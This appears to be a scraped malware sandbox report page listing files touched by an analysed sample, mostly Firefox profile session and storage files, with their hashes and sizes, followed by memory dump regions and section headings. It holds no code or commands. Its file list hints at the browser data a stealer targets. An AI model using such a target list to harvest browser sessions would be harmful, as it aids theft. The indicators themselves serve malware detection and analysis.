e71951938c38f56e128b14ae1e00795245de8115

SHA256
e542b1673bad32e7c1fc9fbe33a0292fec01c1af72f39fdcbe9c31bb82392fa3

SHA512
2ab25e1a91c86fd73c5daa77ea9bbe23c6ed5f80c888380cb601cf20b86ad685ed3dbcf9c545447f1bfec4fc7ad59f1bbde653d6a742c878ab4a8270017ef7ab

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\sessionstore-backups\recovery.baklz4

Filesize
1KB

MD5
5935fb979a89b88d92b0ab8bc741b664

SHA1
3a5c9af4633dd68771a06501f8ef7ea6894c8fc0

SHA256
c025bd762fb5999addcca190c8ceebd6d86f7224e10297bf28538570394027a1

SHA512
b131a24aed195abd985c93f9b19b368be0a3a974e7a6f13f9a736932767598272429c09116ad6328ce2148b3f24c794413f2de33c64a22250733274f780aec3c

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\sessionstore-backups\recovery.baklz4

Filesize
4KB

MD5
e807f54dc8d7f4cb5a1c36ec802d77ba

SHA1
b2a91ca0ad64b05c97a6fb48aa04a0fdb793cc90

SHA256
423afc191c8558a57e0dea9e1f71810114b889045415e3aec704513d5fda4d9e

SHA512
8ec4a3394dd8159e5cb92f77861ef56b138bf189680b7d9e6ede4b6f5218f398e3d233df5914d568107885fb60642d5de284577f624487a76fa593239a799d4b

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\sessionstore-backups\recovery.baklz4

Filesize
5KB

MD5
46f77d12b08c95e99cf58c4941a327df

SHA1
a767892d2b1a73c3cea54cfdafd7040e8fb37bb9

SHA256
00dd25d104dc3958975393e509fb00fbe642bfaa16ffe19aa5d233f51714d59d

SHA512
a4c2133bb73dc7d0bca3f99bfa12360c64506e3993f4e1527fdd4274ec5a9e21f52be22b2ebd5058f00f78364f3217a41aafe414c0c684c0a8b3e1363fdf6122

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\sessionstore-backups\recovery.baklz4

Filesize
6KB

MD5
b0da0a17bc810cdb8896ff0ef5c957ea

SHA1
7d7c9791737b307c5f01ef60b017c9e0fcea774b

SHA256
8f6e54ca43652644896f8b4bee1cbe8b6a1430b07198c299a43b89c3feacc9da

SHA512
2937ec16248205706191819ddc9e4f06bda2946f25dd95bc52c9318482ed2c6a2bc02b21ab7faef8a4a63f542c6d18c64b1810fe0a86fbfb2b276cfcdc98fdb4

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\sessionstore-backups\recovery.baklz4

Filesize
2KB

MD5
692171775e1b4fd2e8a33531e34491b7

SHA1
2d6553535bfd406976429127211d119026a6f034

SHA256
d99ff898aacfa092d6ce585f8ccb8891102069b6fe9f9b5e8ad9e7d23978aa1d

SHA512
25de054d17d5b6aae108073b92f250e39419e4405f9d6ca86cc2bb1d76eb88bdf7a4ee78415222b655b5be45325c327d9f4398b4c39546f2a231b918c2255919

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\sessionstore.jsonlz4

Filesize
4KB

MD5
559b9f10688fcf1bb273b003620d8b81

SHA1
5a4d7df97a6fbbd9d9d838cadc1861d3276cd94b

SHA256
7fc6808296601a8aa5aa2a60f802ccc79087431928625c7910afd07bd4125536

SHA512
38ddffa26a4e4bcb953bb2921391867dea661eb4154437a6033faff088241036afecb67405542f071e07361b8ba3b9c58d86a932485c03a200b5d4db52cd0f35

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\storage.sqlite

Filesize
4KB

MD5
b42d7925ec2d3887c48e6e2d3f3a68bc

SHA1
1539bdb24e75b34797fa34fa346abb3a6e7eb155

SHA256
5b8e3e5390078667d1e3e594ac191b8d4848be4668b25bedda9cab7535571a42

SHA512
fc6bb7806c77038f24f3a8efa6087d166d8b5eff17e068f5d2b9246bb27938b76137b8784837c16d7e9632866e1d4771a5120f962850862eaac2f7d8c2a367ed

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite

Filesize
48KB

MD5
07ca14e1ff29b3c0394410f38efeda04

SHA1
41efc2e00f44b91c74896d53af3e3dab09d1b720

SHA256
4846e325c3f2a6d11a88da48c7566e84759694b2dc74ba89151b139dd5bfb9de

SHA512
e54fb9de1a02222f14286df162e7e76d41958a7c756e59dad54c8299d3187e862900b2c3de1c9c2c1eb2f0b5487a61f771e8ef9d4013b7b572f33891617ccce1

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

Filesize
568KB

MD5
edba4d2f80a15912309356bf7bfff4a3

SHA1
211b53f66cc0f4cc1cf67d99dfee4b0c4156d169

SHA256
3ae09b2e90db45ef59092f5150e914735b375369db934c32619999fd3dcb2031

SHA512
b876b040a10991acd46f3dc1fdde4a8cab23c15202ffce9cc4555ca63257dccc67f5413bc582d7ba34724fafd8b3c1f1a5789e176deb829eeccf85c74054394d

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\xulstore.json

Filesize
217B

MD5
3c7edbdeecdb47fba617e3d03c36b0d3

SHA1
53628ce8c5170810fabafab8e001bfd971d47825

SHA256
c3db6f2519b071b7441022f9ed508b0da5ba40295be0ee449a27bd6146595d04

SHA512
bbf56ea374114173f7de198cd71ac6e75276b0f30926c6690db512f45ac2e54d099d990c285578f702696494d2884d8550e5dddadeee01077933034ac3817842

Download Submit
memory/1576-575-0x000000001D900000-0x000000001D950000-memory.dmp

Filesize
320KB

Download
memory/1576-579-0x000000001DA10000-0x000000001DAC2000-memory.dmp

Filesize
712KB

Download
memory/1576-582-0x000000001D990000-0x000000001D9A2000-memory.dmp

Filesize
72KB

Download
memory/1576-583-0x000000001E340000-0x000000001E37C000-memory.dmp

Filesize
240KB

Download
memory/1576-591-0x000000001EBB0000-0x000000001F0D8000-memory.dmp

Filesize
5.2MB

Download
memory/1620-361-0x00007FFEB0130000-0x00007FFEB0BF1000-memory.dmp

Filesize
10.8MB

Download
memory/1620-376-0x00007FFEB0130000-0x00007FFEB0BF1000-memory.dmp

Filesize
10.8MB

Download
memory/1620-378-0x00007FFEB0130000-0x00007FFEB0BF1000-memory.dmp

Filesize
10.8MB

Download
memory/1620-374-0x00007FFEB0130000-0x00007FFEB0BF1000-memory.dmp

Filesize
10.8MB

Download
memory/2256-2004-0x000002986B000000-0x000002986B076000-memory.dmp

Filesize
472KB

Download
memory/2256-2003-0x000002986AF30000-0x000002986AF74000-memory.dmp

Filesize
272KB

Download
memory/3120-355-0x00007FFEB0130000-0x00007FFEB0BF1000-memory.dmp

Filesize
10.8MB

Download
memory/3120-508-0x00007FFEB0130000-0x00007FFEB0BF1000-memory.dmp

Filesize
10.8MB

Download
memory/3120-352-0x00007FFEB0130000-0x00007FFEB0BF1000-memory.dmp

Filesize
10.8MB

Download
memory/3120-342-0x000002B632180000-0x000002B6321A2000-memory.dmp

Filesize
136KB

Download
memory/3120-341-0x00007FFEB0133000-0x00007FFEB0135000-memory.dmp

Filesize
8KB

Download
memory/3752-559-0x0000000000220000-0x0000000000544000-memory.dmp

Filesize
3.1MB

Download

Resubmissions

Analysis

Sharing

Errors

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads